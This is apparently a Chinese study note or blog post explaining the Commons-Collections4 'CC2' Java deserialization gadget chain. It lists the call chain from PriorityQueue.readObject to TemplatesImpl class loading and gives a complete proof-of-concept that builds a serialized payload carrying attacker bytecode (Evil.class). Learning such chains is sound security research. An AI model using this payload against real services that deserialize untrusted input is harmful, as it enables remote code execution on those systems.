环境

poe.xml

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

jdk: jdk8u71
CC: Commons-Collections4.0,注意这里的依赖和之前不一样的

我们这里不能像CC4那样利用 TransformingComparator.compare() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() 去调用 TemplatesImpl.newTransformer()

而是直接利用 InvokerTransformer.transform()来调用TemplatesImpl.newTransformer()

因此我们只需要修改Transformer[]ChainedTransformer
用 InvokerTransformer.transform()来替代

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
defineClass()->newInstance()
*/

poc及过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","1vxyz");

byte[] code = Files.readAllBytes(Paths.get("D:\\JavaProject\\easyjava\\src\\main\\java\\com\\butler\\springboot14shiro\\Evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
//transformingComparator.compare(1,2);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

setFieldValue(transformingComparator,"transformer",invokerTransformer);
serialize(priorityQueue);
unserialize("sercc2.bin");

}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc2.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
  • 首先还是PriorityQueue的readObject()方法
  • 然后是PriorityQueue的heapify()方法
  • PriorityQueue的siftDown()方法
  • PriorityQueue.siftDownUsingComparator()方法
  • 然后是TransformingComparator.compare()方法
  • InvokerTransformer.transform()方法,这里参数是构造的templates,先获取TemplatesImpl的newTransformer()方法,然后调用了
    Pasted image 20231113184456.png
    再随后就是CC4后面的defindCLass了